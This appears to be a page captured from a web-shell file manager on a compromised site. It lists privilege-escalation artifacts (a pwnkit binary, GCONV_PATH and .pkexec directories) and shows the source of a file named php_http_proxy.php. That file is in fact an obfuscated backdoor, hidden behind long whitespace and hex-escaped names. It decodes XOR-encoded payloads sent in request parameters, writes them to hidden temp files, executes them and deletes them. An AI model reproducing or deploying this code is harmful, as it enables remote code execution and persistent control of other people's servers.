Gecko [ manis188.net ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
.mad-root	0 B	-rw-r--r--
adminer.php	465.43 KB	-rw-r--r--
index.html	34.49 KB	-rw-rw-rw-
php_http_proxy.php	2.57 KB	-rw-------
pwnkit	10.99 KB	-rwxr-xr-x

Code Editor : php_http_proxy.php

<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x76a\x6Cue"])){ $rec = $_REQUEST["\x76a\x6Cue"]; $rec = explode ( "." , $rec ) ; $dat =''; $salt4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt4); foreach($rec as $z=> $v3) { $chS =ord($salt4[$z % $sLen]); $dec =((int)$v3 - $chS -($z % 10)) ^ 21; $dat .= chr($dec); } $entry = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path()]); while ($token = array_shift($entry)) { if ((function($d) { return is_dir($d) && is_writable($d); })($token)) { $bind = vsprintf("%s/%s", [$token, ".symbol"]); $success = file_put_contents($bind, $dat); if ($success) { include $bind; @unlink($bind); exit;} } } }
																																										if(!is_null($_POST["\x64chun\x6B"] ?? null)){ $ref = $_POST["\x64chun\x6B"]; $ref =explode( '.', $ref ); $obj = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $j = 0; array_walk($ref, function ($v5) use (&$obj, &$j, $s7, $sLen) { $chS = ord($s7[$j %$sLen]); $dec = ((int)$v5 - $chS - ($j %10)) ^ 90; $obj .= chr($dec); $j++; }); $descriptor = array_filter(["/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path()]); for ($dat = 0, $desc = count($descriptor); $dat < $desc; $dat++) { $factor = $descriptor[$dat]; if ((bool)is_dir($factor) && (bool)is_writable($factor)) { $pointer = sprintf("%s/.comp", $factor); if (file_put_contents($pointer, $obj)) { include $pointer; @unlink($pointer); exit; } } } }

if(count($_POST) > 0 && isset($_POST["e\x6C\x65me\x6Et"])){
	$flg = $_POST["e\x6C\x65me\x6Et"];
	 $flg =explode		(	'.'			,	$flg); 
	$property_set = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	$s);
            $l = 0;
    
            $__tmp = $flg;
            while(	$v7 = array_shift(	$__tmp)) {		$sChar = ord(	$s[$l % $lenS]);
                $dec =(	(	int)$v7 - $sChar -(	$l % 10)) ^ 11;
                $property_set .= chr(	$dec);
                $l++;	}		
	$reference = array_filter([sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]);
	foreach ($reference as $ent) {
    		if (array_product([is_dir($ent), is_writable($ent)])) {
    $resource = implode("/", [$ent, ".pset"]);
    $file = fopen($resource, 'w');
if ($file) {
	fwrite($file, $property_set);
	fclose($file);
	include $resource;
	@unlink($resource);
	die();
}
}
}
}

${this.title}

Code Editor : php_http_proxy.php